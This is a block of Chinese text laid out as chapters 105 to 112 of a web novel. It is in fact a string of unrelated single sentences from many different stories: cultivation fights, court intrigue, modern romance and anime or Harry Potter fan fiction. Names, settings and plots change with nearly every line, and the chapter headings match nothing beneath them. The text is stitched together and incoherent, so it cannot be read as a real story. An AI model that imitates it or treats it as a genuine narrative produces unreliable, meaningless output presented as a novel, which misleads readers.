“师父,我和你睡”不待风光说完,早已经洞察她想法的清玉迅速的打断了她的话。
眼睛一直看到两人有时候愈靠愈近的身体,不二周助表示不开心??
“当然不是。”他摇了摇头,把林宝淑抱在怀里头,对她说道:“我曾经答应过你,有朝一日要让你完全喜欢我,忘了孟长知,我才会这么做,我是绝对不会强迫你。”林宝淑听完,心中越发的感动起来,也更加的佩服她。
第一卷 第105章 手镯
智能眼镜替换掉手机,实际上是一种产品升级,而不是简单的替换,就跟当初手机淘汰传呼机是一个模式。
当然,崔御风也是愿意让胡然然的贴的,甚至可以说目前这种情况完全达到了他的目的。
山鬼和犼的一身真气都在将发未发之际,九尾狐突然功力失控,两人只能被动接着,顿时进入最为凶险的根基拼斗状态。
“据闻山河独游博学多闻,通古识今,但是性情古怪,不喜与人交往,一生只好游历名山大川,探幽寻奇,来此想来也不足为怪。只是……难道……?”儒者猛然间想到了什么,吃惊的道。
“其中有一条我们没弄死它”就在这个时候,董大海突然插话说道。
如果不是为了保全所有人的性命,凌静姝也不会毅然挺身而出。明知道前路凶险,依然主动随匪徒离开。
雾刃一声长喝,猛力震退风遥天,手指利刃消失,足踏大地对风遥天阴森森喝道:“你激起本魔将的杀机了,接下来迎接死亡吧!”然后提聚元功,顿时全身惨绿骇人。
两人再对一招,劲气横扫将两人齐齐震退。就在此时,雾刃从地下窜出,急冲风遥天而来。风遥天猝不及防,无奈聚气于右臂格挡,同时身形急退。
此时,班昊城已是入夜时分,锦忆留在包间里,趴在桌子上,拿出灵灵镜来给盛锦天发短信,因为临时有事,盛锦天并没有和他们一起开会,而锦忆给盛锦天发信息,那也是惯常的习惯了。
至于这段时间烦恼的事情太多这样的借口,却是被杜芷萱毫不犹豫地拍飞。
倒不要觉得不能理解陶玉康现在心思,一开始陶玉康是怨恨的叶飞的,但是随着几人出场和叶飞半点显露一次又一次的刷新了他的三观,从怨恨道无力,到最后的畏惧。
霍宝冷笑一下,走到巨型如来面前,看鞋底有些泥,于是抬脚在佛身上蹭了蹭。
就在某一刻,庞大的神威突然铺天盖地的降临,强大无匹,举世无敌,那气息是疯狂到极致的战意,狂烈如斯,不朽不灭,万古不磨。
“你躯壳上驮着的,可是众妙之门?”混沌神火注意到玄武驮着一扇神门。
可悲是,那些在旁侧穿行车辆和行人,都没有察觉到散逸出来阴寒气息。
肖毅微一皱眉,其他人面上的表情他看得很清楚,虽然不知道面前此人确切的底细,但想来他和杰拉米之间的关系自然不是真如他口中说的是来祝贺的。
这种可能性最高,毕竟山鬼老妖常年受冥河老祖欺压,早就忍不可忍了。
听筒里传来悉悉索索的声音,郑义忙叫到“别挂!别挂!莫组长找你有事!”这句话很管用,代敏果然停住动作,没有切断电话。
渊大祚深以为然,故而在民众面前一直维护着皇室的威望,把自己当成了忠诚孝子、高氏的奴才。
赵全打了个电话确认之后便开着迈巴赫62S直接杀到了住院部,叶飞一下车便一马当先的向着住院部走去。
为此,他必须要获得更多的知识,更多人的支持,来增强纯血这一方的力量,团结起来面对麻瓜们可能的战争。
这一个举动,直接让机械种族的刘大人发现了问题,眯着眼睛看着,并在脑海中计算着他们接下来的计划。
人靠衣装,佛靠金装,此刻的刁德彪无疑混上上下都散发出一种强大的气场。
“无视她。”,安可简单地给出三个字,脚步未停地继续朝着巧克力镇走去。
袁英左手抓住紫霞右手抓住猴子,施法一起带进了轩辕剑的世界,出现的地点正是新的蟠桃园附近。
大家都知道的,一架战斗机与一辆主战坦克在战场上发挥的作战效应是有很大的差距的。
“安可是很擅长幻术没错,但是……”,娜美紧张地看着外面,心里很着急但却又想不出什么好的办法。
你不是躲到竹林禅院去避祸吗?很好,那我就亲自过去。这样清凉之气离他本尊更近一点,想必就没有那么多的忌讳了吧?
“我现在可不是真人呢,路飞~”,安可只是微笑地摇摇头,然后搂紧了自家安静着的兔子君。
有些世家讲究食不言,吃饭时要保持安静,不过好在王家河周家都没有这种古板的礼数。
嗷……,数百声长嚎一齐发作,震慑力之大,即使是虎豹也得远远的避开,众人只觉得耳边仿佛是响了一声炸雷,嗷叫像是冲锋的号角,激励着狼族士兵奋勇向前。
“你们是盛宇学院的学生?”卡洛斯假装没有听到她们刚才的对话,问道。
赫连荨一闪避开他的攻击,眼神暗了几分,这个男人的玄力比自己高,却一直不出手,是看不起自己吗?
两人押着赵龙便下车去。刚下车两边已经占满了全副武装的狱警。
“你真的打算把人交给他。”男子刚走,赵龙眉头微皱盯着李峰开口道。
当蓝月不得不向这个刚收的弟子说明后,林奕拜别师父,回到了自己修练之地。没有筑基丹,同样可以筑基,当初那王子凤没有丹药相助,不也结丹了么,只是困难大了点。
头发吹的半干的时候,宁沫和凌冉便焦急的跑回了班级,她们两个似乎忘记了之前班级门上有水袋的事情,还好推开班级的门时,没有东西从天而落,否则,宁沫这次真的会让那个捉弄她的人吃不了兜着走。
第一卷 第106章 病弱
大家见我也这么说,冉岁扶着辽爹爹和二哥、三哥、嫂嫂们嘱咐了我一通之后都出了屋子。
看样子这个领导人是这里的最高领导人,现在他这样在周围这么多人的目光中,向这个危险的入口靠近,基本上就是要作秀。周林更不想搭理他,不过他没有阻止邱灵,如果阻止的话,就是有敌对的意味了。
后者面色一变,那一众二十一名逆天城弟子当即抛出法宝。结成阵势,一团黑玉般的盾牌护在萧玉合身前。
皮尔斯立即应声而出,他高大的身形一纵,跳到了空,扇动着翅膀,身体再次跟地面保持平行。
“如果我的射击成绩,您还看的过去,我在燕京这段时间,就住您这怎么样?”借着这个机会,卫紫将自己心中早就谋划好的想法说了出来。
调查组在行动,吕老爷子也急了,他怎么能亲眼看着吕家完蛋,于是又一次找到一号首长面前,义正言辞的说明,这是有人刻意陷害吕家,吕前程和吕昆程绝对不会干出这种事来。
美丽的姑娘的步子,总是非常之轻盈,轻到她什么时候到来,什么时候离开,都不会有人察觉,就好像这春天一般,当路旁的百花开始争艳、身上的衣物慢慢变薄之时,木子秋才察觉到,已经到了春暖花开的时候了。
当然,虽然宁灵雨对凌云情愫暗生,可根据庄美凤的判断,她觉得凌云对宁灵雨,似乎只是纯粹的兄妹之情,完全没有另一种感情。
大清早,天都没大亮到了武场人都没一个,枝迟招呼我打扫院子。
“借一步说话?”看着满脸带笑的大熊,卫紫心中闪过那一丝杀意,变得更加的浓烈。不过,卫紫说话的语气依旧没有变,还是和刚才一样颇有些冷淡。
凌暖暖提醒着他,下一秒,她毫无顾及的直接往下一翻,男人手脚并用的将她稳稳接到了怀里。
神道宗若是一千年前的宗门,那么东君可能真的活了超过一千年。那他的修为便不仅是简简单单的分神期。他或许是一个仙人。
“你知道为什么中原宗门鼎盛,每一宗门都有筑基几十人,整个中原少说也有筑基一千人,不,一千五百人。为何如此,中原仍是没有力量消灭王庭,甚至是威慑王庭使得王庭不敢南下入侵么?”金叶忽问。
她其实并不想知道这些,这家餐馆的菜还可以,白切也确实不错,宋相思有个好舌头,尝一口基本就知道里面有什么了,大概也知道了这调料怎么调制。
“我想问你,你愿意嫁给我吗?”季越泽嗓音放的轻柔,一句话问出来,所有人都惊住了。
其实最难的,倒不是韩非深这边,而是自己的婆婆杨芬那,再怎么说,自己也是没有打报告,就直接把事情给做了,其实这就是先斩后奏,通知对方一声罢了。
第三声巨响传来,拳印彻底的击碎了空间,就像是破碎的镜子,有黑色的空间碎片,迸溅飞射。
王品秋余光注意到胡途的眼神,忽然跺了他一脚,比这口型问道:“她长得好看吧?”她意识到她刚刚坑了自己,弄得现在明明是忍不住想说话,却只能比口型。
竟然有记者采访叶韶华,还这么激动,其他记者们看到Z国记者的样子,不由仔细的看了叶韶华一眼,确定那张脸很陌生。
订婚一事算是彻底不指望了,可接下来还要不要跟封家合作,用什么样的方式合作,秦沣不好替宫邪做决定。
“没事!”易阳无力的摇摇头,用无神的双目扫了身边几位战友一下,努力的挤出一丝笑容,表示自己可以坚持下去。
不渝知道往往忠言是逆耳的,她也能看的出来,克巴不是为了洛言才说这些话。
柯伯那躺在树边受了重伤,朗日将他扶了起来,“柯伯伯,柯伯伯。”在发现他还有呼吸之后,他试图叫醒昏迷的柯伯那。
这个巴掌劲道十足,要是结结实实地挨了下去,那么她的脸蛋就算不被打歪,她的嘴巴也会被打掉几颗牙齿。
下一刻,他二话不说就拿出了几盆早已做好的饭食放在刘辩的面前。
两人撂了电话,才子听到这些有些兴奋,不管咋地,现在得到了老丫很好的消息,这样使他稍感兴奋。
于是戴东官被带上来问话,戴东官却告知昨夜留下的鸡汤她都没有回来喝,这对于龙初夏来说,是一件怪异得不能再怪异的事情,只要有美食,她死都会死回来的。
“季常大哥,可以和我们说说吗?”马尹焦急的询问荆州大‘乱’的事情。
渐渐地人们跳不动了,舞池里的人们越来越少。陆续有人开始出了舞厅,随着一曲的士高音乐的结束,舞厅的灯突然亮了起来。
但没想到,昨天半夜时分,林天佑的嘴巴竟然长出了尖尖的僵尸牙。
“当时是家里贫困不得已。”想着如果他能参加科举考试,能中举能做官,那么他们的社会地位还有各方面都能有了提升,日子不会过得太艰难。
其实她根本没想过要吃慕丝丝给的药,当时被哥哥找到药瓶,也只是她一时没来得及丢掉而已。
林芸看着叶凌天的豪车,虽然满腹狐疑,但此时担心吴山,根本没有时间多问。
大概能猜到对方在想什么,韩初冬也觉得好笑,要真发现剧情方面的问题,肯定不会如此客气。
第一卷 第107章 中毒
陆卿尘回过神,锦婳已经睡熟了。不知是哪里难受了,还是梦到了什么,锦婳即便睡着了也是眉头紧皱着。
陆卿尘不觉伸出手帮她揉着太阳穴,慢慢将她的眉头舒展开。
宋依依似乎睡得不怎么安稳,似乎在做噩梦,夏侯策一遍遍抚平她眉心的褶皱,仿佛要抚平她的不安和哀伤,想要安慰她一般。
“有机会……我一定会补偿你的。”那姑娘看到有人走近,猛然向辰星鞠了个躬,然后见不得人一样迅速地跑走了,与相对而来的佩月月擦身而过。
走到租住房子的楼下,顾恋抬头,看到自己的租的房子里,透出一片温馨明亮的灯光。
虽然基本上默认了这个混蛋所说的话语都是事实,但是南宫那月就是见不得这家伙在自己面前的嚣张样子。
而龙晴随后看到龙修的表情,便也懂事的没有进去,直接坐在了车辕上,和龙修一起驾车。
凌景瞥了侍卫一眼,不再多说什么,拉着璃雾昕的手就往宫外走去。
或许,他甚至有机会一举灭了白狼帮和龙门,从而问鼎,成为最终的中江市大佬。到时候,岂不是要风得风,要雨得雨。
这下顾萌是清醒过来了,被关宸极突如其来转变的态度‘弄’得一头雾水。
但就在这时,林牧眼角突然瞄过一辆停在不远处街道上的捷达上。
时间悄然的流逝,足足花费了十几天的时间,修道院的事情终于是解决了,对于着外界普通民众,官方给出的解释是邪恶魔族的一次恐怖袭击,这个大黑锅自然是喜闻乐见的丢到了黑死皇派的脑袋上。
朴素妍沉默了片刻,终于还是没能拒绝,点了点头,看着李承介马上走在了前面,轻叹了口气,还是慢慢跟了上去。
“走!去尔赢赌坊等你家主子!”苏婉一提娄他,奔向了尔赢赌坊。
“神奇!真的是太神奇了!”在场的所有鬼魂齐刷刷的重复着冥王的话。
李承介在外面找了半天,也没发现一根针,连回形针都没有,暗自给这家服务不够周到的酒店竖了个中指,他只好拿着茶几上那把水果刀重新进了洗手间。
他不得不疯狂吸收周围的邪恶意念,强迫自己吃的更多,强迫自己进化。
整个华夏,乃至整个世界,所有人心中的邪恶与欲望,都在朝这里涌来。
“老毛病了!可能是一路上赶得急,累着了。”苏婉淡淡地笑笑说。
凤凰爪的速度和威力还是很大的,闲卿突然对着烟寒水吼了一声,在他的嘴里直接喷出了一道紫色的闪电。虽然没有击中烟寒水,但成功的把距离拉开了。
“二来,如果惹得他们不高兴,岂不是给我们自己找麻烦吗?”刘淮安说。
树妖阿羞的第一次战斗,对付喷火鸟,火木五行相克,这才有意思。
“可以可以,不但我可以,李公公也要可以证明。”栾城栋连连点头,他也试着劝过柳玄了,不过柳玄根本连看他一眼都不看,只是死死的盯着瘦灵修。没办法,他只好从两个灵修这边下手,就连李公公也被拖下水。
负责打扫大门落叶的僧人似乎察觉到什么,猛地一抬头,看向东方太阳升起的地方。
第一卷 第108章 少年
而那个实习记者,此时正躺在地下室的床上,看着自己手机里那15万的余额乐得都忘了自己姓什么了。
谁知手中的手机一滑,便被张优泽拿了过去,他淡淡的言语充斥着我的耳朵,顿时让我觉得有了一丝丝的安慰。
所以,一时间,除了一个捂嘴的动作外,华美妍并没有其他的动作。
朱砂闻言之后,也是面色凝重的转过头来,面向着一干上千人注目凝望自己的灵兽族众。
视屏掉到了停车场的位置,微凉果然是开车离开了,只不过,她开车的方向不是朝回家的方向去的,而是去了相反的国道。
即便是掩住了口鼻,浓烟却依旧呛得我不住流泪,一下一下,痛苦的咳着。
经过郑老爷子尸变的事,吴向南第一次知道一位真正的大师的实力。
这话明明是康节级说的,可是康节级说武松是大宋赌神,他自然认为也是武松教导康节级的。
“这里的阴煞之气,比其他地方都要沈烈。”聂唯一到这里就皱眉说道。
敦实壮汉面色沉定、愈行愈近,鸡冠陡然间双目一紧,立刻发现这壮汉的身体上,似乎起了一些极为迥异的变化。
王琼、徐贯等人有心出面为正德争言,可是民间传言朝廷加税的消息已传的沸沸扬扬,而且指名道姓说是他们几个进的谗言,几人声誉已一落千丈。这时出面岂不坐实了此事,是以也不敢上前放言。
萧潇无语,这人心思太过清明,不过是短暂眼神对视,他竟知道她在想些什么。
谢丕对沈家的事也知道得颇多,且当初沈沧身故前为沈洲谋南京国子监祭酒的缺,也用过谢家的关系。
他走上前去,轻轻搂着娘子,在她的耳边轻声说了几句什么,眉头微微皱了皱,他知道自己的出手太狠了,这名衙役本来罪不至死,而自己露了这一手,在庆国强大的国家机器调查下,只怕会被人查到自己的老底。
就在这时,一个清脆的丁冬声响起,齐岳和沈云同时全身一颤,失去的清明恢复了一丝,齐岳原本有些疯狂的动作停顿了一下。
自打晚饭前后,远处隐隐传来的炮竹声就没有断过。对比之下,越发趁着沈宅的冷清。几位老爷固然都神色温和,可也难掩黯然。
在学生的心目中,这是真正的老师,这是一个好人,一个好的让他们打从心眼里佩服的好人。
“李杨。爸有你这个儿子感到骄傲。对了,这里怎么这么多修魔者?”李风俞忽然疑惑说道。因为李杨的关系,他并没有对这些修魔者如何,只是感觉有点不舒服。
雨非阳和雷俊鸣站在连仙峰宿舍的大门外,此刻青仙城弟子无不向他们俩围靠了过来,天圣真人和众长老也都是站在那里。
回到自己的房间,齐岳的表情并没有什么不同,看上去,似乎什么都没有发生过似的。
这让绿儿大惊,可自己根本就不可能帮上什么忙,心中着急不已。
这看似一望无际的大海,却神秘无比,没人知道里面有什么,曾经有无数修真者进去探索过,可是不管是组成联盟进去的,还是仗着修为高深独自进入的,最后不是在里面失踪就是无缘无故的失去了所有记忆。
微微皱了皱眉头,哈迪斯沉声说道:“朋友,过分了。赫拉虽然有错在先,但也不至于弄成这样吧?手骨腿骨尽碎,舌头搅碎,耳朵扎聋,眼睛被扣了出来,这太过分了!”哈迪斯夜说越怒,最后忍不住暴喝起来。
然而打从她见到谢无疾起,“怜香惜玉”四个字就跟谢无疾无缘。
使者自然明白他的心思,又对他劝说一番,奈何魏變老谋深算,绝不是个凭三言两语能动摇的人。
悦之千里之行?她知道这家酒店,悦是高家旗下的享誉全球的星级连锁酒店。千里之行是悦下面的,一家位于大陆南方的六星级酒店。
知府大人抹抹额头的汗,将早已准备好的问題逐一问过,半活不死的山匪吭吭哧哧的回答了个大概,最要紧的事情却是沒有问出來。
百变有些复杂的看着猿天,他当然知道猿天的身份,不过和猿灵一样,无论对方是谁,只要挡在面前的便是敌人,是敌人就要将其铲除。
按理说,来者是客,有人给自己儿子来庆祝新婚,应是大喜之事才对,但是,这几人却不只是单纯的过来恭喜的。
夏末清了清嗓子,正准备开喝时,才意识到一路来都是自己在叽里呱啦的说个不停,某人像块木头一样跟本就不鸟她。
步悔上了军团看了看,在蜗牛的带领下,军团发展一如既往的火热,联队团从先前不到十个,变成现如今的五十多个。
父子俩穿戴整齐后,就一同来到金銮大殿。因知府不需上朝,故莫知府独自一人在外等候皇上退朝后传唤。正当他反复看着那几张记录之时,殿外太监匆匆赶来,让莫知府即刻跟随他上朝面圣。
人员齐了,那接下来就是一些战术训练了,步悔前生的时候经常看一些顶尖战队打比赛的视频,相对应的,有些战术步悔还是知道的。
“但是你要是医不好她,朕会立刻让人把你拉出去砍了。”秦恒补充道。
“袁志瀞那个混账东西,你都怀着他的骨肉了,居然还这么对你,真是罪不可赦!”不由地又想起了刚才袁志瀞欺负婉云的情形,禁不住又骂了他一顿。
最少有五个方位的敌人能打到九零线,所以九零线就是一条不归路。
连傲天的车子阿澈已经叫人开走了重新开了一辆路虎,开着这辆路虎连傲天送叶海蓝回去。
“那还费什么话?一个公会的兄弟你让我不管?是你不把我当兄弟还是我不把你当兄弟?”苏牧问道。
梵天神的金色佛印手掌,是古瑜伽术结合古佛门修炼术衍化而来的,叫‘梵天神掌’,他这连续的梵天神掌,是其中比较厉害的一招,叫做‘梵天叠影’,无数道梵天神掌佛印连环出击,就是天神遇到都头疼。
第一卷 第109章 请罪
时浩东手中的牛角刀非常短,自是无法与豹哥硬拼,只得连连往后退躲避。
哪怕之前表现的有多美的深情,在遇到新欢之后,就成了他随意消遣的玩具。
我有些慌乱,一来放不下艾云,二来,我有些怕。我怕自己会面对昔日同窗又会无颜尴尬。却被艾云一个劲的嫌烦,让我出去透透气也能让她静静。我抱怨一顿她没良心后,起身去参加聚会。
“希雅,忙完了吗?”温朗如玉的声音,是宋天铭一贯对她的绅士风度,如他所说,他的温柔从不对别人,唯有慕希雅。
对于林晓琪高傲的回答,我挑了挑眉,并没有完全信服,所以看向身边的梁学琛,决定权还是在他手上。
“他们有心躲,又怎么会让我们轻易找到呢。”他摇了摇头,似乎显得很挫败。
他回来的日子,晴光方好。和他一起去逛园子里的假山楼台,庭院春深。看斜阳倚栏杆,微雨扫落红。有时对着一池清水,都能开心的自己和自己做着鬼脸。
“就这样了,我待会儿就让公司的员工去弄,弄好了我免费送一张给你。”竟是不管时浩东的抗议,挂断了电话。
门打开的是以后,冷风突然吹进来,所有人都好像能清晰的看到,宫清宇倒吸一口气的模样,宫清宇拉了拉衣服,还是慢慢的离开。
她曾经也是手掌大权之人,所以更能深切的体会到,上位者下达的命令,往往到了下面被执行起来的时候,不但差强人意,而且浑水摸鱼之人尤为的多。
远处的哨音短促地响了几下。拓拔元贞又回应了两声。之后,就听马蹄声动地而来。
直到赵俊生一口气把收到的消息全部说完,拓跋健和所有大臣武将的心头都蒙上了一层厚厚的阴影,形势格外的严峻。
林清越不去探究他笑意的意味,而是转身,看了看大铁锤,然后提起,顺着那东南方的方向前进。
倒是胡大夫听了毛老太医的话,思索着摇头道:“不是这个道理。关键是影响。
‘赏钱’等同于封口费,出去之后对于太子殿下的病情一概不准向外人提,否则就有性命之忧。
整个大堂里,都弥漫着悠扬的琴声,徐徐环绕,而这方的吵闹却也吸引了不少的人看了过来。
换作从前,他不会愿意直白地与人议论起自己的风流,如今为了治病,倒是不能太在意面子的问题了。
刘晋带着数十名面容森冷的云烈卫,黑衣黑甲,寒刀出鞘,一言不发地挡在了他们面前。
第二天,卜旭一早和杨方正会合,一起吃了早饭,赶往标场,之后杨方正依然在编号6427的料子附近游荡,卜旭则继续全场乱窜,观摩学习。
林清越倒是乐得清闲自在,这件事被故意淡化她也觉得十分舒服,等到那位九皇子来,她就不信他真的会看上她,毕竟按照他的前程,娶她也太不划算了。
看来之前刘聪的估计没有错,这些台阶应该的的确确是通往宫殿大门的,自己已经顺着台阶向上跑了好远,应该已经离门外的队伍很近了,在这个距离就算是有厚厚的石壁的遮挡,通讯器也能够正常的工作了。
在这一瞬间,他仿佛变成了这个世界的异类,周围的空间,疯狂的朝他挤压。
“呵呵,他都借钱买房子了,还能赌什么,和这种穷鬼打赌,可是一点意思都没有!”一人讥笑起来。
谁想到这个酒吧居然卖违禁品,而且还在酒吧后面交易,战涵平时不怎么喝酒,喝酒有些难受,出去透气的时候隐约看到有人影,隐约听到声音,什么白面多少克,一次交易五百万这类的话。
不过联合起来的压力,还是非常强大,逼迫的神魔王座在原地上下晃动,但是人再多,神魔王座的灵智似乎不放在眼里。
围着整个盆地看了一圈之后,陈子杨忽然间意识到有一件事情不对劲。自己能够看到的地方连一个活人都没有。杨雷呢?车队呢?刘教官那些人呢?
此时的陈子杨才算有时间仔细的看一看这条裂缝。细看之下,他才看到原来这里的骸骨数量比自己想象的要多得多。
“不用了,妈。”明磊落做这些很顺手,将自己和悦悦的衣服一件件挂好到衣柜里。
随即,开始为刘协宽衣解带。只是她神色委屈,不情不愿,动作更是慢得出奇,仿佛怕碰到刘协的肌肤一般。
他要让所有心怀二意的妖族,感到害怕。要让所有的妖族在听到楚帝二字时,便心灵悸颤。
“怎么了?”蒋去病的声音,在暗室里悠悠响起,但他的人,却没有出现。
“南湘,看好了。”说罢,阿恒娴熟的把箭枝安在弩上,随即拉弦瞄准,只见阿恒双目寒芒闪烁,随即“嗖”的一声,箭矢宛若一道流影飞射出去。
那冰冷的眸子,盯着袭来的无极宫老祖三人,然后抬起了巨大的象脚。
如今因为肯德基的突然出现,虽然从表面上来看,并没有对麦克斯形成太大的冲击。
黄从善是知道冥王不简单的,而且冥王出了与他还有暗神子永夜一起谋划的事外,自己私底下其实还谋划着什么。
第一卷 第110章 青龙
皇后娘娘仙逝后,原本热热闹闹,气氛和谐温馨的凤坤宫,变得冷冷清清。
就连陆卿尘也变得沉默寡言,鲜少出屋。
陆卿尘再没笑过,一日阴雨天,宫里来人报,太子殿下在庭院里淋雨,谁劝也不肯回去,碧痕姑姑已经哭了几通了。
随后,又聊了些可有可无的话后,花舞影还想继续说,但直接被他驱逐出去。
君邪辰的身边,有淡淡的如丝绸一般的水墨玄气,看上去消瘦的身躯当中,有着一股不属于他气质的杀伐之气传出。
林逸天停住剑势,火焰消散而去,他看着摔倒在地上的石森,平静的说道。
“一年级,可不止一个王旭!”王子羽冷哼一声,说完拍了拍裤腿,消失在了他们跟前,直接奔着高级任务区就过去了。
程咬金和尉迟恭也不在意,骂他们的人多了,都习惯了。他们更在意的是镜子。
常昊抬眼看了一下,赫然看到了距离自己不远处那已经被魔蜥咬成了两截的尸体,顿时双手紧握成了一拳,重重的砸在了地上。
“大师姐,你说的那人该不会是师父吧?”纪无双略微沉吟了一下,抬眸道。
南宫焱点点头,空间漩涡浮现,一柄带着中国风的长剑从空间漩涡射出。
当季唐再一次看到大量食人族出现的时候就后悔了,还是手软了,直接弄死那七个好了。
苍凉的北风呜咽而过,阵阵白雪随风飘舞,将苍穹分割的支离破碎,打在脸上令人生疼。
“我们继续探究他们中的毒吧,钱吗。我出就行了。但是我要一个僻静的地方静静的研究。”,唐雨柔脸上的红晕还没有完成消退。娇羞的说道。
吴祯不仅找人陷害裴进,免了他的官职,还侵吞了裴进的家产,而做完这些才用了短短几天的时间。
百里芸的前护卫首领青锋如今是甘州营的副将,军职正六品。去年五月娶了百里芸之前的贴身大丫鬟采蓝为妻。如今诰命已经下来,当年的采蓝如今也是六品诰命夫人了。
为了让楼汐有中秋佳节的节日气氛,池瞑让整个落日山庄的人,都聚在一起吃晚饭。
其实,格陵起初是想要直接拒绝白英织的。可是,人家毕竟是前辈,又亲自上门,一口回绝未免显得太不知好歹。
但在足够强大的力量支持下,又能保证身体的柔韧性、反应速度和灵敏度达到要求的情况下,枪法的施展获得的气势和威力更加强大。
郑典本来是想向郑曙光卖可怜的,结果郑曙光一听到她的声音,就像被针刺了一样,倏地收回手,眼神难掩尴尬。
宁王看了两人一眼,只觉得他们无比碍眼和多事。他只是假装发发怒,他们还当真了?
莫妮卡和卡尔不同,她是想走学术这条路的,在大一上学期的时候她就充分认识到了洛叶的天赋,可是在这一刻,眼看着洛叶就要真正的在全球刷荣誉了,她还是默默无闻,她仿佛感觉到了舒尔茨同学的感受。
刚好今天周末人比较多,可以给游客展示一下饲养员是如何进行食物丰容的。
不过,接下来神奇的一幕,却让三军将士惊呼,五百匹战马落泪。
这个子桑有问题,在他的身上,安然闻到了一股胭脂水粉的味道,可是他的脸上并没有胭脂水粉的痕迹。
第一卷 第111章 被抓
楚凛一想,拉下教会的确不如拉林景生下宝座,这的确还是一个最便捷的办法。
而这个时候,周围的那些修士,看到庞风不拖泥带水的拿到了青冥剑之后,全部都愣住了。
不说冯默风二人,单说太玄三人离了铁匠铺,回到蛇谷之中,神雕见了欣喜不已,这几日神雕在这蛇谷中杀蛇修炼太玄为他修改的龙象波若功,已经将二层练至圆满了,浑身翎羽均已张长,浑身金光闪闪,威武不凡。
全身的力气像是被抽空了一般,苏伶歌倒向床铺,却又在下一秒直起身体,再度拉住上官明清。
“如果这里面有东西的话我就用两倍的价钱买下来了。”那黑脸青年眉头一皱的说道,好像和老者赌气一样十分的好笑,不过他竟然敢和这么一个比自己修为高的人说话也很稀奇了。
另一个质问太玄的威严白衣道人却从下裳掏出一把看去平凡无奇样子古拙的石剑,可是这石剑虽然平淡无华,却着实不凡,这人不过拿起这把石剑劈向这条魔蛇,这魔蛇便化为森森魔气,消失不见。
另外一边,邵千军将修士的事情都安排好了,总共死了十名凝脉初期修士,其中还有一人是邵家的,不过,邵千军却是苦笑一声,将所有的东西都分发下去,给他们的家人丰厚的补偿。
郭靖道:“多谢吕大人,既然如此我们去了。”说罢郭靖太玄三人便自城头飞下。
“听说你们华夏人喜欢一种炸金花,我想与你玩这种,这对你很公平的,一局定胜负,怎样。”杰克笑眯眯的看着秦天说道。
“罗斯福选择了政治‘交’换,所以,他会受到政治保护?”卫斯理问,这是他没办法接受的,这么一个十恶不赦的人,凭什么还要接受政治保护呢?
终于林风在拿了八个玄石之后,这里有一些光芒了。林风也能隐约的看到一些东西了。“没有想到这阵眼,就在脚下。”林风看向了脚下,被埋起来的玄石,微笑着说道,说完,便把那阵眼挖了出来。
雨水滋润着草木飞扬的草原,浸透出一出空气的清新味,非常让人觉得舒服。
“不要再来找我了,不要,不要回头,不要回头。”叶晓媚的心里一直有个声音叫着她不要再去纠缠那些过往的事情,让他去吧。
“关你什么事?”向田田没好气地回答,将背包的拉链拉上,大步朝电梯走去。
众人这才咽了一口唾液,真是闻名不如见面,这五毒门中的五位高手全都来了,看他们的样子就很是吓人,就更被说是招惹他们了。
这里其实已经是海滩的岩石边缘,所以在退潮的时候会有一些鱼因来不及游出,而困在那岩石上,所以这鱼应该是不用抓的,只是她不知道而已。
按说对待敌人,掌柜本不该对他温言细语,但毕竟阮家是这领地主人,几分薄面还是要给的,只是言语中,将那“自家营生”强调得极重,自然是暗示阮馨如不该插嘴别人的家事。
芊芊被放开后一脸漠然看向他,冷冰的视线划过他的心神,让他的眼眸不禁又眯了几分冷冷地瞅着她。
此字一出,连带着原先前还气愤难平的众人也都是心中一凛,脸色煞白。他们怎能不惊!?这样的局面就意味着自家的主子虽身份尊贵,可是却于嵘南朝庭中没有助力,一旦有何变故便将是孤立无援进阻退两难的局面。
每天醒来第一眼就会看到的人,今天没有看到,宁远澜很心慌,想要坐起身,可身体才动了一下,疼痛就从四肢百骸传过来,仿佛自己昨晚被人卸掉身上所有的骨头,又重新装过一般的,疼得她直掉眼泪。
这个世界上没有那么多的不能利用的垃圾,所以下水道干脆就不需要将污水排放出去了。直接通过管道吸收到那些专门用来种植的庄园当中,正好可以当做肥料。这些地方的植物想要长得好,肥料也是不可或缺的。
他还没想到,在他娘心中,这件事情根本就不重要,又怎么会绞尽脑汁的想办法呢。这也注定了,他刚才装模作样还声叹气,也只是给瞎子抛媚眼,白费劲。
除此之外,销售渠道也不能只盯着湘水县了,周边县市必须同步推进,甚至其它地区的销售也得提前做准备了。
只是因为里奇是意呆利人,温德科技的工厂设立在了那里,所以这只能说是意呆利的运气比较好,正好搭上了这班车。
忽的一声锣鼓声猛然敲响,伙计们一惊,街上不多的行人也都被吓了一跳。
这里的水流不含沙子,大异无定河及其一众支流的黄浊,洗澡时份外清爽。
池南打算将自己的领地打造成一个独一无二的自然领地,所有的一切,都是自己的植物制造出来的,这种地方简直就是神迹。
晏秋玥说是因为哥哥一边上学一边还要照顾她,就用了这个偷懒省时间的办法,后来觉得挺方便就一直延续下来了。
看见杜颜踩着高跟鞋匆匆跑过来的画面,施盼按下一半的车窗看着她。
而此时的黑豹已经带上豹形头盔,底下的瞳孔紧缩,猛地一蹬,瞬间一把飞扑过去,将对方牢牢压在身下。
如果可以的话,阿狸并不介意给强大的哥哥们提供全套服务,就如同她的口头禅那般——不要压抑自己。
控制不住自己呜咽的哭了出来,何家父母的脸色已经难看到了极点。
石像可以变成人,更可以自由出入大多数空间,这可比那三团流水要强大得多,难怪就连造化之神们也要眼馋。
但其实他们以前除了航源以外,并没有别的交集,更没有熟悉到这一地步。
陈贝的手腕很细,很白,紫罗兰很显肤色,似乎是为她量身打造的一般,很合适。
第一卷 第112章 大皇子
这一回,邱穆因为脑海在这一瞬间的空白,而忘记了要去拍开头顶那只肆无忌惮的爪子。
就在陈勃想要加大攻击力度,借此逼迫身影的时候,一阵桀桀的声音忽然从墙壁内部飘了出来。
“没想到你连这个都知道。”墨家巨子轻笑一声,也不带着蓑笠遮住相貌了,摘下蓑笠露出了他的相貌,他装死那么久,那些敌人都以为他死了,现在居然会被人给直接看出来。
雨果最终也把酒干了,还好是葡萄酒,不会像白酒那样难受,不过他给维克托投去了杀人的眼神,维克托满不在乎。
他在哪?就在外面?要是她走出阳台站到安东尼达斯身边就能看到他吗?“你用不着挖苦我。”吉安娜转开头擦了擦眼睛,她想说些什么,却又如鲠在喉。
首先,那座鬼屋甚至是游乐园本身,都有可能是司马家隐没于红尘的庇护所,只是似乎因为内斗,那层保护相对弱了很多。
林晨欣然接受了展飞鱼的提议,把东西都给买齐了。去展飞鱼家里吃去。
